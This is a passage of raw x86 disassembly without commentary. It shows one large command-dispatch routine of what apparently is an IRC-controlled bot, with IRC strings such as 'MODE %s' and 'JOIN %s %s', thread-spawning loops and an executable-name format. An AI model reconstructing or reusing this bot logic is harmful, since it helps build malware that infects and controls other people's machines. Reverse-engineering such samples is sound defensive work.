offset unk_434C6C push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 8 push eax call sub_414F93 add esp, 20h mov [ebp+var_464], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_414569 push ebx push ebx call dword_42108C mov ecx, [ebp+var_464] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_41033F loc_410329: ; CODE XREF: sub_40CE55+34E8j cmp [ebp+var_450], ebx jnz loc_411F0D push 32h call dword_421060 jmp short loc_410329 ; --------------------------------------------------------------------------- loc_41033F: ; CODE XREF: sub_40CE55+34D2j call dword_421088 push eax push offset unk_434C1C jmp loc_411EFE ; --------------------------------------------------------------------------- loc_410350: ; CODE XREF: sub_40CE55+25A9j ; sub_40CE55+25C0j push edi call sub_415A5F push 7Fh mov [ebp+var_300], eax push [ebp+arg_18] lea eax, [ebp+var_404] push eax call sub_416D40 push [ebp+arg_0] call sub_415A5F push [ebp+var_8C] mov esi, [ebp+arg_4] mov [ebp+var_304], eax lea eax, [ebp+var_384] push 80h push eax mov [ebp+var_40C], esi call sub_415A6A mov eax, [ebp+var_8] add esp, 20h mov edi, [ebp+var_4] mov [ebp+var_2F0], eax push [ebp+var_304] lea eax, [ebp+var_404] mov [ebp+var_2F4], edi push eax push [ebp+var_300] push esi call sub_40A171 pop ecx push eax lea eax, [ebp+var_2C8] push offset unk_434BCC push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 10h push eax call sub_414F93 add esp, 24h mov [ebp+var_2FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_40C] push ebx push eax push offset sub_407BFE push ebx push ebx call dword_42108C mov ecx, [ebp+var_2FC] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_410439 loc_410423: ; CODE XREF: sub_40CE55+35E2j cmp [ebp+var_2EC], ebx jnz loc_411F0D push 32h call dword_421060 jmp short loc_410423 ; --------------------------------------------------------------------------- loc_410439: ; CODE XREF: sub_40CE55+35CCj call dword_421088 push eax push offset unk_434B78 jmp loc_411EFE ; --------------------------------------------------------------------------- loc_41044A: ; CODE XREF: sub_40CE55+257Bj ; sub_40CE55+2592j push 0FFh lea eax, [ebp+var_788] push edi push eax call sub_416D40 push 0FFh lea eax, [ebp+var_688] push [ebp+arg_18] push eax call sub_416D40 push [ebp+arg_0] mov [ebp+var_584], ebx call sub_415A5F mov [ebp+var_580], eax mov eax, [ebp+esi+var_84] add esp, 1Ch cmp eax, ebx jz short loc_4104A6 push 10h push ebx push eax call sub_416A89 add esp, 0Ch mov [ebp+var_578], eax jmp short loc_4104AC ; --------------------------------------------------------------------------- loc_4104A6: ; CODE XREF: sub_40CE55+363Bj mov [ebp+var_578], ebx loc_4104AC: ; CODE XREF: sub_40CE55+364Fj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_4104C3 push esi call sub_415A5F pop ecx mov [ebp+var_57C], eax jmp short loc_4104C9 ; --------------------------------------------------------------------------- loc_4104C3: ; CODE XREF: sub_40CE55+365Dj mov [ebp+var_57C], ebx loc_4104C9: ; CODE XREF: sub_40CE55+366Cj movzx eax, [ebp+var_9AF] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_574], eax lea eax, [ebp+var_808] mov [ebp+var_80C], esi push eax call sub_416D40 mov eax, [ebp+var_4] push [ebp+arg_18] mov [ebp+var_56C], eax mov eax, [ebp+var_8] mov [ebp+var_570], eax push edi lea eax, [ebp+var_2C8] push offset unk_434B38 push eax call sub_4154E7 push esi lea eax, [ebp+var_2C8] push 15h push eax call sub_414F93 add esp, 28h mov [ebp+var_588], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_80C] push ebx push eax push offset sub_40BCEF push ebx push ebx call dword_42108C mov ecx, [ebp+var_588] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_410577 loc_410561: ; CODE XREF: sub_40CE55+3720j cmp [ebp+var_568], ebx jnz loc_40FBE8 push 32h call dword_421060 jmp short loc_410561 ; --------------------------------------------------------------------------- loc_410577: ; CODE XREF: sub_40CE55+370Aj call dword_421088 push eax push offset unk_434AE4 jmp loc_41077A ; --------------------------------------------------------------------------- loc_410588: ; CODE XREF: sub_40CE55+254Dj ; sub_40CE55+2564j push 7Fh lea eax, [ebp+var_774] pop esi push esi push edi push eax call sub_416D40 push esi lea eax, [ebp+var_6F4] push [ebp+arg_18] push eax call sub_416D40 push esi lea eax, [ebp+var_674] push [ebp+arg_0] push eax call sub_416D40 push esi lea eax, [ebp+var_5F4] push [ebp+var_8C] push eax call sub_416D40 mov eax, [ebp+var_8] push [ebp+arg_0] mov esi, [ebp+var_4] mov [ebp+var_56C], eax mov eax, [ebp+arg_4] push [ebp+arg_18] mov [ebp+var_778], eax lea eax, [ebp+var_2C8] push edi push offset dword_434AA4 push eax mov [ebp+var_570], esi call sub_4154E7 add esp, 44h lea eax, [ebp+var_2C8] push ebx push 0Bh push eax call sub_414F93 add esp, 0Ch mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_778] push ebx push eax push offset sub_40182E push ebx push ebx call dword_42108C mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_41065B loc_410649: ; CODE XREF: sub_40CE55+3804j cmp [ebp+var_568], ebx jnz short loc_410676 push 32h call dword_421060 jmp short loc_410649 ; --------------------------------------------------------------------------- loc_41065B: ; CODE XREF: sub_40CE55+37F2j call dword_421088 push eax lea eax, [ebp+var_2C8] push offset dword_434A58 push eax call sub_4154E7 add esp, 0Ch loc_410676: ; CODE XREF: sub_40CE55+37FAj cmp [ebp+var_8], ebx jnz loc_41284E push ebx push esi jmp loc_40F7BE ; --------------------------------------------------------------------------- loc_410686: ; CODE XREF: sub_40CE55+2508j ; sub_40CE55+251Fj ... push 7Fh lea eax, [ebp+var_7F0] pop esi push esi push edi push eax call sub_416D40 push esi lea eax, [ebp+var_770] push [ebp+arg_18] push eax call sub_416D40 push esi lea eax, [ebp+var_6F0] push [ebp+arg_0] push eax call sub_416D40 push esi lea eax, [ebp+var_670] push [ebp+var_8C] push eax call sub_416D40 push 20h lea eax, [ebp+var_5F0] push [ebp+arg_8] push eax call sub_416D40 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_570], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_56C], eax lea eax, [ebp+var_2C8] push edi push offset unk_434A14 push eax mov [ebp+var_7F8], esi call sub_4154E7 add esp, 50h lea eax, [ebp+var_2C8] push ebx push 0Ah push eax call sub_414F93 add esp, 0Ch mov [ebp+var_7F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F8] push ebx push eax push offset sub_401000 push ebx push ebx call dword_42108C mov ecx, [ebp+var_7F4] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_41076E loc_410758: ; CODE XREF: sub_40CE55+3917j cmp [ebp+var_568], ebx jnz loc_40FBE8 push 32h call dword_421060 jmp short loc_410758 ; --------------------------------------------------------------------------- loc_41076E: ; CODE XREF: sub_40CE55+3901j call dword_421088 push eax push offset unk_4349C8 loc_41077A: ; CODE XREF: sub_40CE55+2D75j ; sub_40CE55+2EC0j ... lea eax, [ebp+var_2C8] push eax call sub_4154E7 jmp loc_40FBE5 ; --------------------------------------------------------------------------- loc_41078B: ; CODE XREF: sub_40CE55+24DAj ; sub_40CE55+24F1j push 7Fh lea eax, [ebp+var_444] push edi push eax call sub_416D40 push [ebp+arg_18] call sub_415A5F push 3Fh mov [ebp+var_2F4], eax push [ebp+arg_0] lea eax, [ebp+var_3C4] push eax call sub_416D40 mov esi, [ebp+esi+var_84] add esp, 1Ch cmp esi, ebx jz short loc_4107D9 push 3Fh lea eax, [ebp+var_384] push esi push eax call sub_416D40 add esp, 0Ch loc_4107D9: ; CODE XREF: sub_40CE55+3970j lea eax, [ebp+var_3C4] mov [ebp+var_2F0], 1 push eax lea eax, [ebp+var_444] push [ebp+var_2F4] push eax lea eax, [ebp+var_2C8] push offset unk_434984 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 17h push eax call sub_414F93 add esp, 20h mov [ebp+var_2EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_448] push ebx push eax push offset sub_40CB75 push ebx push ebx call dword_42108C mov ecx, [ebp+var_2EC] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_410865 loc_41084F: ; CODE XREF: sub_40CE55+3A0Ej cmp [ebp+var_2E8], ebx jnz loc_40F713 push 32h call dword_421060 jmp short loc_41084F ; --------------------------------------------------------------------------- loc_410865: ; CODE XREF: sub_40CE55+39F8j call dword_421088 push eax push offset unk_434938 jmp loc_40F704 ; --------------------------------------------------------------------------- loc_410876: ; CODE XREF: sub_40CE55+249Aj ; sub_40CE55+24B1j push [ebp+arg_18] call sub_415A5F cmp eax, ebx pop ecx mov [ebp+var_578], eax jle loc_410967 mov esi, 80h push edi lea eax, [ebp+var_700] push esi push eax call sub_415A6A xor eax, eax cmp [ebp+var_9A2], bl push [ebp+var_8C] setnz al mov [ebp+var_574], eax mov eax, [ebp+arg_4] mov [ebp+var_704], eax lea eax, [ebp+var_600] push esi push eax call sub_415A6A mov eax, [ebp+var_4] push [ebp+arg_18] mov [ebp+var_570], eax mov eax, [ebp+var_8] mov [ebp+var_56C], eax push edi push offset unk_4348F8 lea eax, [ebp+var_2C8] push 200h push eax call sub_415A6A push ebx lea eax, [ebp+var_2C8] push 0Dh push eax call sub_414F93 add esp, 38h mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_704] push ebx push eax push offset sub_401447 push ebx push ebx call dword_42108C mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_410956 loc_410940: ; CODE XREF: sub_40CE55+3AFFj cmp [ebp+var_568], ebx jnz loc_40F7B1 push 32h call dword_421060 jmp short loc_410940 ; --------------------------------------------------------------------------- loc_410956: ; CODE XREF: sub_40CE55+3AE9j call dword_421088 push eax push offset unk_4348AC jmp loc_40F7A2 ; --------------------------------------------------------------------------- loc_410967: ; CODE XREF: sub_40CE55+3A32j push offset unk_434860 jmp loc_41202C ; --------------------------------------------------------------------------- loc_410971: ; CODE XREF: sub_40CE55+246Cj ; sub_40CE55+2483j push [ebp+arg_18] push edi call dword_421134 test eax, eax jz short loc_41099E push [ebp+arg_18] lea eax, [ebp+var_2C8] push edi push offset unk_434828 push 200h push eax call sub_415A6A jmp loc_4111C1 ; --------------------------------------------------------------------------- loc_41099E: ; CODE XREF: sub_40CE55+3B28j push offset dword_434808 call sub_409C08 push eax lea eax, [ebp+var_2C8] push 200h push eax call sub_415A6A add esp, 10h jmp loc_40F7B1 ; --------------------------------------------------------------------------- loc_4109C2: ; CODE XREF: sub_40CE55+243Ej ; sub_40CE55+2455j push edi lea eax, [ebp+var_77C] push 104h push eax call sub_415A6A add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_4109FC push [ebp+arg_18] push [ebp+var_C] call sub_415AC0 pop ecx cmp eax, ebx pop ecx jz short loc_4109FC push eax lea eax, [ebp+var_678] push eax call sub_4154E7 pop ecx pop ecx loc_4109FC: ; CODE XREF: sub_40CE55+3B85j ; sub_40CE55+3B96j push [ebp+var_8C] lea eax, [ebp+var_7FC] push 80h push eax call sub_415A6A mov eax, [ebp+arg_4] mov [ebp+var_800], eax mov eax, [ebp+var_4] mov [ebp+var_570], eax mov eax, [ebp+var_8] mov [ebp+var_56C], eax lea eax, [ebp+var_678] push eax lea eax, [ebp+var_77C] push eax push offset unk_4347C4 lea eax, [ebp+var_2C8] push 200h push eax call sub_415A6A push ebx lea eax, [ebp+var_2C8] push 1Bh push eax call sub_414F93 add esp, 2Ch mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_800] push ebx push eax push offset sub_408788 push ebx push ebx call dword_42108C mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_410AAF loc_410A99: ; CODE XREF: sub_40CE55+3C58j cmp [ebp+var_568], ebx jnz loc_41284E push 32h call dword_421060 jmp short loc_410A99 ; --------------------------------------------------------------------------- loc_410AAF: ; CODE XREF: sub_40CE55+3C42j call dword_421088 push eax push offset unk_434774 jmp loc_41283F ; --------------------------------------------------------------------------- loc_410AC0: ; CODE XREF: sub_40CE55+2410j ; sub_40CE55+2427j push 44h lea eax, [ebp+var_48C] pop esi push esi push ebx push eax call sub_415570 push 1 mov [ebp+var_48C], esi pop esi mov word ptr [ebp+var_45C], bx push edi mov [ebp+var_460], esi call sub_415A5F add esp, 10h cmp eax, esi jnz short loc_410AFD mov word ptr [ebp+var_45C], 5 loc_410AFD: ; CODE XREF: sub_40CE55+3C9Dj cmp [ebp+var_C], ebx jz loc_40F713 push [ebp+arg_18] push [ebp+var_C] call sub_415AC0 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_40F713 lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_48C] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call dword_4210EC test eax, eax jnz short loc_410B56 push offset unk_43473C loc_410B43: ; CODE XREF: sub_40CE55+3E85j ; sub_40CE55+4518j ... lea eax, [ebp+var_2C8] push eax call sub_4154E7 pop ecx pop ecx jmp loc_40F713 ; --------------------------------------------------------------------------- loc_410B56: ; CODE XREF: sub_40CE55+3CE7j push edi push offset dword_434710 jmp loc_40F704 ; --------------------------------------------------------------------------- loc_410B61: ; CODE XREF: sub_40CE55+23E2j ; sub_40CE55+23F9j push [ebp+arg_18] push offset aIdsppn ; "idsppn" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410CD5 lea eax, [ebp+var_3E8] push eax push 104h call dword_4210F8 push 0FFh lea eax, [ebp+var_788] push edi push eax call sub_416D40 lea eax, [ebp+var_2E4] push eax call sub_414126 push eax lea eax, [ebp+var_3E8] push eax lea eax, [ebp+var_688] push offset aSS_exe ; "%s%s.exe" push eax call sub_4154E7 mov eax, [ebp+esi+var_88] add esp, 20h cmp eax, ebx mov [ebp+var_584], 1 mov [ebp+var_580], ebx jz short loc_410BF3 push 10h push ebx push eax call sub_416A89 add esp, 0Ch mov [ebp+var_578], eax jmp short loc_410BF9 ; --------------------------------------------------------------------------- loc_410BF3: ; CODE XREF: sub_40CE55+3D88j mov [ebp+var_578], ebx loc_410BF9: ; CODE XREF: sub_40CE55+3D9Cj mov esi, [ebp+esi+var_84] cmp esi, ebx jz short loc_410C13 push esi call sub_415A5F pop ecx mov [ebp+var_57C], eax jmp short loc_410C19 ; --------------------------------------------------------------------------- loc_410C13: ; CODE XREF: sub_40CE55+3DADj mov [ebp+var_57C], ebx loc_410C19: ; CODE XREF: sub_40CE55+3DBCj movzx eax, [ebp+var_9AF] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_574], eax lea eax, [ebp+var_808] mov [ebp+var_80C], esi push eax call sub_416D40 mov eax, [ebp+var_4] push edi mov [ebp+var_56C], eax mov eax, [ebp+var_8] mov [ebp+var_570], eax lea eax, [ebp+var_2C8] push offset unk_4346C4 push eax call sub_4154E7 push esi lea eax, [ebp+var_2C8] push 16h push eax call sub_414F93 add esp, 24h mov [ebp+var_588], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_80C] push ebx push eax push offset sub_40BCEF push ebx push ebx call dword_42108C mov ecx, [ebp+var_588] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_410CC4 loc_410CAE: ; CODE XREF: sub_40CE55+3E6Dj cmp [ebp+var_568], ebx jnz loc_40F713 push 32h call dword_421060 jmp short loc_410CAE ; --------------------------------------------------------------------------- loc_410CC4: ; CODE XREF: sub_40CE55+3E57j call dword_421088 push eax push offset unk_434674 jmp loc_40F704 ; --------------------------------------------------------------------------- loc_410CD5: ; CODE XREF: sub_40CE55+3D1Dj push offset unk_43461C jmp loc_410B43 ; --------------------------------------------------------------------------- loc_410CDF: ; CODE XREF: sub_40CE55+23B4j ; sub_40CE55+23CBj push [ebp+var_90] push offset dword_436490 call sub_415910 pop ecx test eax, eax pop ecx jz loc_40D219 cmp [ebp+var_C], ebx jz loc_40D219 push [ebp+arg_18] push [ebp+var_C] call sub_415AC0 push eax lea eax, [ebp+var_2C8] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_43460C push eax call sub_4154E7 lea eax, [ebp+var_2C8] push 1FFh push eax push [ebp+arg_0] call sub_416D40 push edi call sub_415A5F add esp, 30h test eax, eax jle short loc_410D66 push edi call sub_415A5F imul eax, 3E8h pop ecx push eax call dword_421060 loc_410D66: ; CODE XREF: sub_40CE55+3EFBj push offset dword_4345E4 call sub_40B16D mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_40D21C ; --------------------------------------------------------------------------- loc_410D7A: ; CODE XREF: sub_40CE55+2386j ; sub_40CE55+239Dj push [ebp+var_90] push offset dword_436490 call sub_415910 pop ecx test eax, eax pop ecx jz loc_40D219 cmp [ebp+var_C], ebx jz loc_41298E push [ebp+arg_18] push [ebp+var_C] call sub_415AC0 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_415910 add esp, 10h test eax, eax push esi jz short loc_410E36 push [ebp+var_8C] lea eax, [ebp+var_2C8] push [ebp+var_90] push [ebp+var_94] push offset dword_43460C push eax call sub_4154E7 lea eax, [ebp+var_2C8] push 1FFh push eax push [ebp+arg_0] call sub_416D40 push esi lea eax, [ebp+var_2C8] push offset dword_4345B0 push eax call sub_4154E7 lea eax, [ebp+var_2C8] push eax call sub_40B16D push edi call sub_415A5F add esp, 38h test eax, eax jle loc_41298E push edi call sub_415A5F add eax, [ebp+arg_24] pop ecx jmp loc_40D21C ; --------------------------------------------------------------------------- loc_410E36: ; CODE XREF: sub_40CE55+3F6Aj push offset dword_434568 jmp loc_40F704 ; --------------------------------------------------------------------------- loc_410E40: ; CODE XREF: sub_40CE55+2358j ; sub_40CE55+236Fj push [ebp+arg_18] lea eax, [ebp+var_2C8] push offset dword_434560 push eax call sub_4154E7 push edi call sub_415A5F add esp, 10h loc_410E5D: ; CODE XREF: sub_40CE55+4072j test eax, eax jle loc_41298E push edi call sub_415A5F cmp eax, 12Ch pop ecx jge loc_41298E loc_410E77: ; CODE XREF: sub_40CE55+4907j lea eax, [ebp+var_2C8] push eax push offset dword_425050 push edi call sub_415A5F imul eax, 234h pop ecx push dword_43F554[eax] call sub_412D06 loc_410E9B: ; CODE XREF: sub_40CE55+579Ej add esp, 0Ch jmp loc_41298E ; --------------------------------------------------------------------------- loc_410EA3: ; CODE XREF: sub_40CE55+232Aj ; sub_40CE55+2341j push [ebp+esi+var_88] lea eax, [ebp+var_2C8] push [ebp+arg_18] push offset dword_434554 push eax call sub_4154E7 push edi call sub_415A5F add esp, 14h jmp short loc_410E5D ; --------------------------------------------------------------------------- loc_410EC9: ; CODE XREF: sub_40CE55+22FCj ; sub_40CE55+2313j push [ebp+arg_18] lea eax, [ebp+var_2C8] push offset dword_43454C push eax call sub_4154E7 push edi call sub_415A5F add esp, 10h test eax, eax jle loc_41298E push edi call sub_415A5F cmp eax, 12Ch pop ecx jge loc_41298E lea eax, [ebp+var_2C8] push eax push offset dword_425050 push edi call sub_415A5F imul eax, 234h pop ecx push dword_43F554[eax] call sub_412D06 push [ebp+arg_18] push edi push offset dword_43451C loc_410F2D: ; CODE XREF: sub_40CE55+4162j ; sub_40CE55+41CDj ... call sub_40B1E1 loc_410F32: ; CODE XREF: sub_40CE55+546Ej add esp, 18h jmp loc_41298E ; --------------------------------------------------------------------------- loc_410F3A: ; CODE XREF: sub_40CE55+22CEj ; sub_40CE55+22E5j cmp [ebp+var_C], ebx jz loc_41298E push [ebp+arg_18] push [ebp+var_C] call sub_415AC0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_410F6B push esi lea eax, [ebp+var_2C8] push offset dword_434514 push eax call sub_4154E7 add esp, 0Ch loc_410F6B: ; CODE XREF: sub_40CE55+40FFj push edi call sub_415A5F test eax, eax pop ecx jle loc_41298E push edi call sub_415A5F cmp eax, 12Ch pop ecx jge loc_41298E lea eax, [ebp+var_2C8] push eax push offset dword_425050 push edi call sub_415A5F imul eax, 234h pop ecx push dword_43F554[eax] call sub_412D06 push esi push edi push offset dword_4344E4 jmp loc_410F2D ; --------------------------------------------------------------------------- loc_410FBC: ; CODE XREF: sub_40CE55+22A0j ; sub_40CE55+22B7j cmp [ebp+var_C], ebx jz loc_41298E push [ebp+arg_18] push [ebp+var_C] call sub_415AC0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_41298E push edi call sub_415A5F test eax, eax pop ecx jle loc_41298E push edi call sub_415A5F cmp eax, 12Ch pop ecx jge loc_41298E push esi push offset dword_425050 push edi call sub_415A5F imul eax, 234h pop ecx push dword_43F554[eax] call sub_412D06 push esi push edi push offset dword_4344B4 jmp loc_410F2D ; --------------------------------------------------------------------------- loc_411027: ; CODE XREF: sub_40CE55+2272j ; sub_40CE55+2289j cmp [ebp+var_C], ebx jz loc_41298E push edi push [ebp+var_C] call sub_415AC0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_41298E push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_412D06 push esi push offset dword_434478 loc_411059: ; CODE XREF: sub_40CE55+4AACj ; sub_40CE55+4AC5j ... call sub_40B1E1 loc_41105E: ; CODE XREF: sub_40CE55+4272j add esp, 14h jmp loc_41298E ; --------------------------------------------------------------------------- loc_411066: ; CODE XREF: sub_40CE55+2244j ; sub_40CE55+225Bj push [ebp+var_90] push offset dword_436490 call sub_415910 pop ecx test eax, eax pop ecx jz loc_40D219 push [ebp+arg_18] push offset dword_43446C push [ebp+arg_4] call sub_412D06 push edi call sub_415A5F imul eax, 3E8h add esp, 10h push eax call dword_421060 push [ebp+esi+var_88] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_412D06 push offset dword_434444 call sub_40B16D jmp short loc_41105E ; --------------------------------------------------------------------------- loc_4110C9: ; CODE XREF: sub_40CE55+2216j ; sub_40CE55+222Dj cmp [ebp+var_C], ebx jz loc_41298E push edi call sub_415CF0 push [ebp+arg_8] mov esi, eax call sub_415CF0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_415AC0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_41298E push esi lea eax, [ebp+var_2C8] push offset dword_434CDC push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push ebx push eax push edi push [ebp+arg_4] call sub_412D4C push esi push edi push offset dword_434414 call sub_40B1E1 add esp, 2Ch jmp loc_41298E ; --------------------------------------------------------------------------- loc_411137: ; CODE XREF: sub_40CE55+21E8j ; sub_40CE55+21FFj cmp [ebp+var_C], ebx jz loc_41298E push edi call sub_415CF0 push [ebp+arg_8] mov esi, eax call sub_415CF0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_415AC0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_41298E push ebx push ebx push esi push edi push [ebp+arg_4] call sub_412D4C push esi push edi push offset dword_4343E4 call sub_40B1E1 jmp loc_40FD65 ; --------------------------------------------------------------------------- loc_41118A: ; CODE XREF: sub_40CE55+21BAj ; sub_40CE55+21D1j cmp [ebp+var_C], ebx jz loc_40D219 push [ebp+arg_18] push [ebp+var_C] call sub_415AC0 pop ecx cmp eax, ebx pop ecx jz loc_40D219 push eax push edi call sub_40B075 push edi lea eax, [ebp+var_2C8] push offset dword_4343B4 push eax call sub_4154E7 loc_4111C1: ; CODE XREF: sub_40CE55+3B44j add esp, 14h jmp loc_40F7B1 ; --------------------------------------------------------------------------- loc_4111C9: ; CODE XREF: sub_40CE55+217Aj ; sub_40CE55+2191j push edi push [ebp+arg_1C] call sub_415AC0 pop ecx test eax, eax pop ecx jz loc_41298E mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_411266 push esi push [ebp+var_C] call sub_415AC0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_41124E push esi lea eax, [ebp+var_2C8] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_43460C push eax call sub_4154E7 lea eax, [ebp+var_2C8] push 1FFh push eax push [ebp+arg_0] call sub_416D40 push esi push edi lea eax, [ebp+var_2C8] push offset dword_43437C push eax call sub_4154E7 add esp, 34h inc [ebp+arg_24] jmp loc_4124D6 ; --------------------------------------------------------------------------- loc_41124E: ; CODE XREF: sub_40CE55+43A1j lea eax, [ebp+var_2C8] push offset dword_434338 push eax call sub_4154E7 pop ecx pop ecx jmp loc_4124D6 ; --------------------------------------------------------------------------- loc_411266: ; CODE XREF: sub_40CE55+4390j push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40AD85 add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C push edi push offset dword_43430C lea eax, [ebp+var_2C8] push 200h push eax call sub_415A6A add esp, 24h jmp loc_4124D6 ; --------------------------------------------------------------------------- loc_4112AD: ; CODE XREF: sub_40CE55+1B7Fj ; sub_40CE55+1B96j push offset aR ; "r" push edi call sub_415BE8 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_411327 mov ebx, 200h push esi lea eax, [ebp+var_2C8] push ebx push eax call sub_41713C add esp, 0Ch loc_4112D6: ; CODE XREF: sub_40CE55+44B0j test eax, eax jz short loc_411307 push 1 lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C push esi lea eax, [ebp+var_2C8] push ebx push eax call sub_41713C add esp, 20h jmp short loc_4112D6 ; --------------------------------------------------------------------------- loc_411307: ; CODE XREF: sub_40CE55+4483j push esi call sub_415B40 push edi lea eax, [ebp+var_2C8] push offset dword_4342D4 push eax call sub_4154E7 add esp, 10h jmp loc_40EFA7 ; --------------------------------------------------------------------------- loc_411327: ; CODE XREF: sub_40CE55+4469j push edi push offset dword_4342A0 jmp loc_412869 ; --------------------------------------------------------------------------- loc_411332: ; CODE XREF: sub_40CE55+1B51j ; sub_40CE55+1B68j cmp [ebp+var_C], ebx jz loc_41298E push edi push [ebp+var_C] call sub_415AC0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_41298E push offset asc_426CB4 ; "\n" push esi call sub_415C10 push esi call sub_40A5E9 add esp, 0Ch test eax, eax jnz short loc_411372 push offset dword_434260 jmp loc_410B43 ; --------------------------------------------------------------------------- loc_411372: ; CODE XREF: sub_40CE55+4511j push esi push offset dword_434234 jmp loc_4124C7 ; --------------------------------------------------------------------------- loc_41137D: ; CODE XREF: sub_40CE55+1B23j ; sub_40CE55+1B3Aj cmp [ebp+var_C], ebx jz loc_41298E push edi push [ebp+var_C] call sub_415AC0 pop ecx cmp eax, ebx pop ecx jz loc_41298E push eax call sub_409CCD test eax, eax pop ecx jnz short loc_4113AE push offset unk_434204 jmp loc_410B43 ; --------------------------------------------------------------------------- loc_4113AE: ; CODE XREF: sub_40CE55+454Dj push offset dword_4341D4 jmp loc_410B43 ; --------------------------------------------------------------------------- loc_4113B8: ; CODE XREF: sub_40CE55+1AF5j ; sub_40CE55+1B0Cj push 7Fh lea eax, [ebp+var_6F4] push edi push eax call sub_416D40 mov esi, [ebp+esi+var_8C] add esp, 0Ch cmp esi, ebx jz short loc_4113E7 push 7Fh lea eax, [ebp+var_674] push esi push eax call sub_416D40 add esp, 0Ch loc_4113E7: ; CODE XREF: sub_40CE55+457Ej push 7Fh lea eax, [ebp+var_5F4] push [ebp+var_8C] push eax call sub_416D40 mov eax, [ebp+arg_4] push edi mov [ebp+var_6F8], eax mov eax, [ebp+var_8] mov [ebp+var_570], eax mov eax, [ebp+var_4] mov [ebp+var_56C], eax lea eax, [ebp+var_2C8] push offset dword_4341A8 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 14h push eax call sub_414F93 add esp, 24h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6F8] push ebx push eax push offset sub_40AE4B push ebx push ebx call dword_42108C mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_411485 loc_41146F: ; CODE XREF: sub_40CE55+462Ej cmp [ebp+var_568], ebx jnz loc_4124D6 push 32h call dword_421060 jmp short loc_41146F ; --------------------------------------------------------------------------- loc_411485: ; CODE XREF: sub_40CE55+4618j call dword_421088 push eax push offset unk_434158 jmp loc_4124C7 ; --------------------------------------------------------------------------- loc_411496: ; CODE XREF: sub_40CE55+1AC7j ; sub_40CE55+1ADEj push ebx push [ebp+var_8C] push [ebp+arg_4] push edi call sub_4063B0 push edi push offset dword_434130 jmp loc_410F2D ; --------------------------------------------------------------------------- loc_4114B1: ; CODE XREF: sub_40CE55+1A99j ; sub_40CE55+1AB0j push 14h lea eax, [ebp+var_710] push ebx push eax call sub_415570 push edi lea eax, [ebp+var_6FC] push offset aS_1 ; "%s" push eax call sub_4154E7 mov eax, [ebp+arg_4] mov [ebp+var_718], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_5F8] push 80h push eax call sub_415A6A mov eax, [ebp+var_4] mov [ebp+var_570], eax mov eax, [ebp+var_8] mov [ebp+var_56C], eax lea eax, [ebp+var_5F8] push eax lea eax, [ebp+var_6FC] push eax lea eax, [ebp+var_2C8] push offset dword_4340F8 push eax call sub_4154E7 push ebx lea eax, 